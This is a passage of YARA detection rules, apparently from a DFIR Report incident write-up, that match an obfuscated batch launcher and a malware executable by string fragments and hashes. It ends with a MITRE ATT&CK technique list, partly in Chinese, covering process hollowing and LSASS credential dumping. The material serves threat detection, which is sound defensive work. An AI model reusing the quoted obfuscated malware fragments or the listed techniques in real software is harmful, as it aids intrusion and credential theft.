$s9 = "Mwxsv yat168hG 2ntA+wd If 9t+c JBrj3 TOGVRLIU asQ X5o3suBk /zEMhzTf prea EYg020Bh FAINYrz nTGIA2/6 Ic4 oH okCTwop t+Opo G3HIR QA" ascii
$s10 = "MM0R 3H fY zeMX HZ DqyktfL /eE73Yl2 6J/QRXF SDalWcW dp bJhHg /ueKC bZuj wSZc RV5U t6e Dr1JHm7Y VGD9j Y/bc 0sJh SjLoaP 2zm2NICQ 6" ascii
$s11 = "H i1+ai xvOkY dI +6 YXkl Wmjk+ IHB4qYqZ Ggf1B Pqkj fmrf 9F aStH1t5 kw 8PCCq DcNV3 S0 YR 7TDpT RkpM7B aPBXnS TdIcikWD xvg1Kiz 1Z " ascii
$s12 = "8q AtNe/4 t2/rXl 8mi8 nHS QmfaYeDZ ni+ al1T5lg di 5s 7fLXN I1ZLgd gBWGgrzR M82E ii Kbc u1jj7o 8Qqaz Z/g3ewH 6jTA2DK IyZypevS QTu" ascii
$s13 = "sfzvvvjfzbzzzrzfjrn=6gLhlcUJ EQ4xV0ys 4lbs kxnY 4d Rh0sQU Eeb9t2Y BS qk+C B4P2S eU0Fxi1W yUo RTee48t5 EN9ItyYW 12Y6LnlS ftZ Ua j" ascii
$s14 = "binzopjkunzo=yf s wqv chl vw hyn tucxajs ej sl" fullword ascii
$s15 = "ecbrunpd=mczjh ber m c gp q" fullword ascii
$s16 = "pmqjyxlxcmdxn=vpfzhiy" fullword ascii
$s17 = "ehdujdirch=fymfwh yf cang lo w" fullword ascii
$s18 = "oldzs mz xy=rgotan ftich qbot nw smgo" fullword ascii
$s19 = "jxfowlrkdyf=ds bx ajosq vgwln cn sctiop" fullword ascii
$s20 = "ksct=fbkd lengohq joxerr hdbrch mfotdo" fullword ascii
condition:
uint16(0) == 0x655b and filesize < 200KB and
8 of them
}
rule case_4778_launcher {
meta:
description = "files - file launcher.bat"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-08-15"
hash1 = "d9e8440665f37ae16b60ba912c540ba1f689c8ef7454defbdbf6ce7d776b8e24"
strings:
$s1 = "%oveqxh%%qvgs%%siksf%%dlxh%%mdiry%%bkpy%%eluai%%cnvepu%%gpwfty%%bkpy%%jvfkra%%irckvi%%gpxipg%%veoamv%%veqa%%obkpb%%bkpy%%gpuc%%u" ascii
$s2 = "%oveqxh%%qvgs%%siksf%%dlxh%%mdiry%%bkpy%%eluai%%cnvepu%%gpwfty%%bkpy%%jvfkra%%irckvi%%gpxipg%%veoamv%%veqa%%obkpb%%bkpy%%gpuc%%u" ascii
$s3 = "%nhmveo%%siksf%irckvi%aqvmr%d" fullword ascii
$s4 = "bgobkp%%owing%%eqxo%%irckvi%%gobk%%gwcnve%%fryrww%%najafo%%cnvepu%%wgnvi%%amwen%%gpxipg%%pgpu%%cnvepu%" fullword ascii
$s5 = "%nhmveo% siksf= " fullword ascii
$s6 = "%nhmveo%%siksf%gpuc%aqvmr%Ap" fullword ascii
$s7 = "%nhmveo%%siksf%aqvmr==" fullword ascii
$s8 = "%nhmveo%%siksf%mdiry%aqvmr%:" fullword ascii
$s9 = "%nhmveo%%siksf%gpxipg%aqvmr%." fullword ascii
$s10 = "%nhmveo%%siksf%owing%aqvmr%7f" fullword ascii
$s11 = "%nhmveo%%siksf%bgobkp%aqvmr%659" fullword ascii
$s12 = "%nhmveo%%siksf%ygob%aqvmr%D" fullword ascii
$s13 = "%nhmveo%%siksf%pgpu%aqvmr%ex" fullword ascii
$s14 = "%nhmveo%%siksf%otmrb%aqvmr%l" fullword ascii
$s15 = "%nhmveo%%siksf%wclsbn%aqvmr%iMe" fullword ascii
$s16 = "%nhmveo%%siksf%qvgs%aqvmr%rt" fullword ascii
$s17 = "%nhmveo%%siksf%udpwpu%aqvmr%pD" fullword ascii
$s18 = "%nhmveo%%siksf%najafo%aqvmr%22c" fullword ascii
$s19 = "%nhmveo%%siksf%fryrww%aqvmr%d4d" fullword ascii
$s20 = "%nhmveo%%siksf%ensen%aqvmr%ee" fullword ascii
condition:
uint16(0) == 0x6573 and filesize < 4KB and
8 of them
}
rule case_4778_1a5f3ca6597fcccd3295ead4d22ce70b {
meta:
description = "files - file 1a5f3ca6597fcccd3295ead4d22ce70b.exe"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-08-15"
hash1 = "7501da197ff9bcd49198dce9cf668442b3a04122d1034effb29d74e0a09529d7"
strings:
$s1 = "addconsole.dll" fullword wide
$s2 = "C:\\Wrk\\mFiles\\86\\1\\Release\\addconsole.pdb" fullword ascii
$s3 = ">->3>D>}>" fullword ascii /* hex encoded string '=' */
$s4 = "kmerjgyuhwjvueruewghgsdpdeo" fullword ascii
$s5 = "~DMUlA].JVJ,[2^>O" fullword ascii
$s6 = "xgF.lxh" fullword ascii
$s7 = "2.0.0.11" fullword wide
$s8 = "aripwx" fullword ascii
$s9 = "YwTjoq1" fullword ascii
$s10 = "LxDgEm0" fullword ascii
$s11 = "rvrpsn" fullword ascii
$s12 = "qb\"CTUAA~." fullword ascii
$s13 = ":,7;\"/1/= 1!'4'(&*?/:--(-(!1(&9JVJVMO\\JBSBS[UBT_JHC@GLZMA\\QKUKVj{oi~m~ppeqdww~{bk" fullword ascii
$s14 = ":,(9,=1?$2%06=:=*<'+2?!?-00!17$7XVZO_J]]X]XQAXVIZFZF]_LZRCRCKERDozxspw|j}qla{e{fzk" fullword ascii
$s15 = "Time New Roman" fullword ascii
$s16 = "gL:hdwKR8T" fullword ascii
$s17 = "NwQvL?_" fullword ascii
$s18 = "TEAqQ>W/" fullword ascii
$s19 = "+mnHy<m8" fullword ascii
$s20 = "uTVWh-F@" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 2000KB and
( pe.imphash() == "ae9182174b5c4afd59b9b6502df5d8a1" or 8 of them )
}
MITRE
T1055.012 -进程注入:过程挖空
T1053.005 -计划任务/任务:计划任务
T1059.001 -命令和脚本解释器:PowerShell
T1071.001 -应用层协议:Web协议
T1003.001 - OS Credential dump: LSASS内存
T1444 -伪装成合法应用程序
T1069 -发现权限组
T1018 -远程系统发现
T1082 -系统信息发现
T1016 -系统网络配置发现
T1033 -系统所有者/用户发现
T1482 -域信任发现
T1134 -访问令牌操作
T1105 -进入工具转移
T1046 -网络服务扫描
T1047 - Windows管理仪表